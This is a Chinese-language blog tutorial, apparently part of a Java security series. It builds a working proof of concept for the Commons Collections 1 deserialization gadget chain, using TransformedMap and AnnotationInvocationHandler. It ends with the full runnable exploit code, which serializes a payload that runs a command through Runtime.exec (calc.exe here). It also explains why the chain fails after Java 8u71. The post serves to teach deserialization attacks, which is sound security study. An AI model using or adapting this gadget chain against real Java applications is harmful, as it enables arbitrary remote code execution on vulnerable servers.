• java安全(八)TransformedMap构造POC


    给个关注?宝儿!
    给个关注?宝儿!
    给个关注?宝儿! 关注公众号:b1gpig信息安全,文章推送不错过

    上一篇构造了一个了commons-collections的demo
    【传送门】

    package test.org.vulhub.Ser;
    
    
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    import java.util.HashMap;
    import java.util.Map;
    
    public class CommonCollections1 {
        public static void main(String[] args) throws Exception {
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.getRuntime()),
                    new InvokerTransformer("exec", new Class[]{String.class},
                            new Object[]
                                    {"C:\\WINDOWS\\system32\\calc.exe"}),
            };
    
            Transformer transformerChain = new
                    ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            Map outerMap = TransformedMap.decorate(innerMap, null,
                    transformerChain);
            outerMap.put("test", "xxxx");
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29

    了解了Transformer,接下来尝试构建poc

    AnnotationInvocationHandler

    这个漏洞核心,是想Map中加一个新的元素,在demo中,我们通过手工执行 outerMap.put(“test”, “xxxx”); 来出发漏洞。但是在实际反序列化中,还需要有一个雷,使他在反序列化readObject中有类似写入的操作

    就是:sun.reflect.annotation.AnnotationInvocationHandler

    AnnotationInvocationHandler的 readObject方法:

    private void readObject(java.io.ObjectInputStream s) 
    	throws java.io.IOException, ClassNotFoundException { 
    	s.defaultReadObject()
    
    	// Check to make sure that types have not evolved incompatibly
    	AnnotationType annotationType = null; 
    	try {
    			annotationType = AnnotationType.getInstance(type); 
    	} catch(IllegalArgumentException e) { 
    			// Class is no longer an annotation type; time to punch out 
    			throw new java.io.InvalidObjectException("Non-annotation type in 
    annotation serial stream"); 
    }
    
    		Map<String, Class<?>> memberTypes = annotationType.memberTypes(); 
    
    		// If there are annotation members without values, that 
    		// situation is handled by the invoke method. 
    		for (Map.Entry<String, Object> memberValue : 
    memberValues.entrySet()) { 
    			String name = memberValue.getKey(); 
    			Class<?> memberType = memberTypes.get(name); 
    			if (memberType != null) { // i.e. member still exists 
    				Object value = memberValue.getValue(); 
    				if (!(memberType.isInstance(value) || 
    					value instanceof ExceptionProxy)) { 
    					memberValue.setValue( 
    						New AnnotationTypeMismatchExceptionProxy( 
    							value.getClass() + "[" + value + "]").setMember( 
    								annotationType.members().get(name))); 
    			} 
    		} 
    	} 
    } 
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35

    核心逻辑:Map.Entry memberValue : memberValues.entrySet() 和 memberValue.setValue(…)

    memberValues 就是反序列化后得到的Map,也是经过了TransformeMap 修饰的对象,这里遍历了他所有的元素,并以此设置值,在调用setValue设置时,会触发TransformedMap里注册的Transform ,然后继续执行我们设计的任意代码。

    故在构造poc时,需要创建一个AnnotationInvocationHandler对象,并将前面构造的HashMap设置尽量

    Class clazz = 
    Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 
    Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); 
    Object obj = construct.newInstance(Retention.class, outerMap);
    
    • 1
    • 2
    • 3
    • 4

    这里的sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,不能直接使用new来实例化。我们使用反射获取他的构造方法,并将他设置成外部可见的,在调用就可以实例化了。

    AnnotationInvocationHandler类的构造函数有两个参数: Annotation类 和 前面构造的Map。

    使用反射的原因:

    上一篇构造了 AnnotationInvocationHandler对象, 他就是我们反序列化利用链的七点,我们通过如下代码将这个对象生成序列化流

    ByteArrayOutputStream barr = new ByteArrayOutputStream(); 
    ObjectOutputStream oos = new ObjectOutputStream(barr); 
    oos.writeObject(obj); 
    oos.close();
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述
    在writeObject的时候出现异常: java.io.NotSerializableException: java.lang.Runtime 。

    因为,java 中并非所有对象都支持序列化,待序列化的对象和所有他使用的内部属性对象,必须都实现 java.io.Serializable接口。
    而我们最早传给 ConstantTransformer的事 Runtime.getRuntime(), Runtime 类是没有实现 java.io.Serializable接口,所有不允许被序列化。
    那么,就需要通过反射的方式,获取当前上下文中的Runtime的对象,而不需要直接使用这个类

    Method f = Runtime.class.getMethod("getRuntime"); 
    Runtime r = (Runtime) f.invoke(null); 
    r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); 
    
    
    • 1
    • 2
    • 3
    • 4

    转换成Transformer写法:

    Transformer[] transformers = new Transformer[] { 
    	new ConstantTransformer(Runtime.class), 
    	new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { 				"getRuntime", 
    	 new Class[0] }), 
    	 new InvokerTransformer("invoke", new Class[] { Object.class,
    	 		Object[].class },new Object[] { null, new Object[0] }), 
    	 new InvokerTransformer("exec", new Class[] { String.class }, 
    			new String[] { "C:\WINDOWS\system32\calc.exe" }), 
    }; 
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    其实和demo最大的区别就是将 Runtime.getRuntime() 换成了 Runtime.class ,前者是一个
    java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所
    以可以被序列化。

    为什么仍然无法触发漏洞?

    修改Transformer数组后再次运行,发现这次没有报异常,而且输出了序列化后的数据流,但是反序列
    化时仍然没弹出计算器,这是为什么呢?

    这个实际上和AnnotationInvocationHandler类的逻辑有关,我们可以动态调试就会发现,在
    AnnotationInvocationHandler:readObject 的逻辑中,有一个if语句对var7进行判断,只有在其不
    是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞:

    那么如何让这个var7不为null呢?这一块我就不详细分析了,还会涉及到Java注释相关的技术。直接给
    出两个条件:

    1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是
      Annotation的子类,且其中必须含有至少一个方法,假设方法名是X 2. 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
      所以,这也解释了为什么我前面用到 Retention.class ,因为Retention有一个方法,名为value;所
      以,为了再满足第二个条件,我需要给Map中放入一个Key是value的元素:
    innerMap.put("value", "xxxx");
    
    • 1

    为什么Java高版本无法利用?

    但是这段poc有局限性,我们的环境是java 8u71 以前的,在8u71后2015年12越时,Java
    官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数:http://h
    g.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d在这里插入图片描述

    对于这次修改,有些文章说是因为没有了setValue,其实原因和setValue关系不大。改动后,不再直接
    使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。
    所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执
    行set或put操作,也就不会触发RCE了。

    我们这一章将上一章给出的demo扩展成为了一个真实可利用的POC,完整代码如下:

    package org.vulhub.Ser; 
    
    import org.apache.commons.collections.Transformer; 
    import org.apache.commons.collections.functors.ChainedTransformer; 
    import org.apache.commons.collections.functors.ConstantTransformer; 
    import org.apache.commons.collections.functors.InvokerTransformer; 
    import org.apache.commons.collections.map.TransformedMap; 
    
    import java.io.ByteArrayInputStream; 
    import java.io.ByteArrayOutputStream; 
    import java.io.ObjectInputStream; 
    import java.io.ObjectOutputStream; 
    import java.lang.annotation.Retention; 
    import java.lang.reflect.Constructor; 
    import java.lang.reflect.InvocationHandler; 
    import java.util.HashMap; 
    import java.util.Map; 
    
    public class CommonCollections1 { 
    	public static void main(String[] args) throws Exception { 
    		Transformer[] transformers = new Transformer[] { 
    			new ConstantTransformer(Runtime.class), 
    			new InvokerTransformer("getMethod", new Class[] { 
    String.class, 
    				Class[].class }, new Object[] { "getRuntime", 
    			new Class[0] }), 
    			new InvokerTransformer("invoke", new Class[] { Object.class, 
    				Object[].class }, new Object[] { null, new Object[0] 
    }), 
    			new InvokerTransformer("exec", new Class[] { String.class }, 
    				new String[] { 
    "C:\WINDOWS\system32\calc.exe" }), 
    	};
    	
    	Transformer transformerChain = new ChainedTransformer(transformers); 
    	Map innerMap = new HashMap(); 
    	innerMap.put("value", "xxxx"); 
    	Map outerMap = TransformedMap.decorate(innerMap, null, 
    transformerChain); 
    
    	Class clazz = 
    Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 
    	Constructor construct = clazz.getDeclaredConstructor(Class.class, 
    Map.class); 
    	construct.setAccessible(true); 
    	InvocationHandler handler = (InvocationHandler) 
    construct.newInstance(Retention.class, outerMap); 
    
    	ByteArrayOutputStream barr = new ByteArrayOutputStream(); 
    	ObjectOutputStream oos = new ObjectOutputStream(barr); 
    	oos.writeObject(handler); 
    	oos.close(); 
    	
    	System.out.println(barr); 
    	ObjectInputStream ois = new ObjectInputStream(new 
    ByteArrayInputStream(barr.toByteArray())); 
    	Object o = (Object)ois.readObject(); 
    	} 
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60

    但是这个Payload有一定局限性,在Java 8u71以后的版本中,由于
    sun.reflect.annotation.AnnotationInvocationHandler 发生了变化导致不再可用,原因前文也说
    了。

    看ysoserial就没有使用这个TransformeMap,而是使用了LazyMap。

    即使使用LazyMap仍然无法在高版本的Java中使用这条利用链,主要原因还是出在
    sun.reflect.annotation.AnnotationInvocationHandler 这个类的修改上

  • 相关阅读:
    【LeetCode】795.区间子数组个数
    SS-Model【2】:DeepLabv1
    Maven下导入jar包的几种方式
    什么是SSRF攻击?该如何防御SSRF攻击?
    第10集丨龙场悟道:阳明心学的诞生
    卷积相关-2
    在 M1 芯片 Mac 上使用 Homebrew
    NativeScaler()与loss_scaler【loss.backward()和 optimizer.step()】
    第 114 场 LeetCode 双周赛题解
    echarts 设置legend的样式
  • 原文地址:https://blog.csdn.net/weixin_45694388/article/details/124529538